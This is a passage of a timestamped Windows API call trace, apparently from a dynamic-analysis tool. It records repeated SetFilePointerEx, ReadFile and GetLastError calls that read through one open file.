lpNewFilePointer=0x0) returned 1 [0031.791] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x98, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.791] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.791] GetLastError () returned 0x0 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.792] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x858, lpOverlapped=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.792] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.793] GetLastError () returned 0x0 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.793] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x850, lpOverlapped=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xa8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.793] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.794] GetLastError () returned 0x0 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.794] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x848, lpOverlapped=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.794] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.795] GetLastError () returned 0x0 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.795] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x840, lpOverlapped=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.795] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xb8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.796] GetLastError () returned 0x0 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.796] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x838, lpOverlapped=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.796] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.797] GetLastError () returned 0x0 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.797] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x830, lpOverlapped=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.797] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xc8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.798] GetLastError () returned 0x0 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.798] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x828, lpOverlapped=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.798] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.799] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x820, lpOverlapped=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xd8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.799] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.800] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x818, lpOverlapped=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.800] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x810, lpOverlapped=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.800] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xe8, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc44 | out: lpNewFilePointer=0x0) returned 1 [0031.801] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x808, lpOverlapped=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc80 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc14 | out: lpNewFilePointer=0x0) returned 1 [0031.801] SetFilePointerEx (in: hFile=0xc8, liDistanceToMove=0xf0, lpNewFilePointer=0x0, dwMoveMethod=0x42cc90 | out: lpNewFilePointer=0x0) returned 1 [0031.801] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x800, lpOverlapped=0x0) returned 1 [0031.801] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7f8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7f0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7e8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7e0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7d8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7d0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7c8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7c0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7b8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7b0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7a8, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x7a0, lpOverlapped=0x0) returned 1 [0031.802] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x798, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x790, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x788, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x780, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x778, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x770, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x768, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x760, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x758, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x750, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x748, lpOverlapped=0x0) returned 1 [0031.803] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x740, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x738, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x730, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x728, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x720, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x718, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x710, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x708, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x700, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 | out: lpBuffer=0x828808*, lpNumberOfBytesRead=0x42cc4c*=0x6f8, lpOverlapped=0x0) returned 1 [0031.804] ReadFile (in: hFile=0xc8, lpBuffer=0x828808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x42cc4c, lpOverlapped=0x0 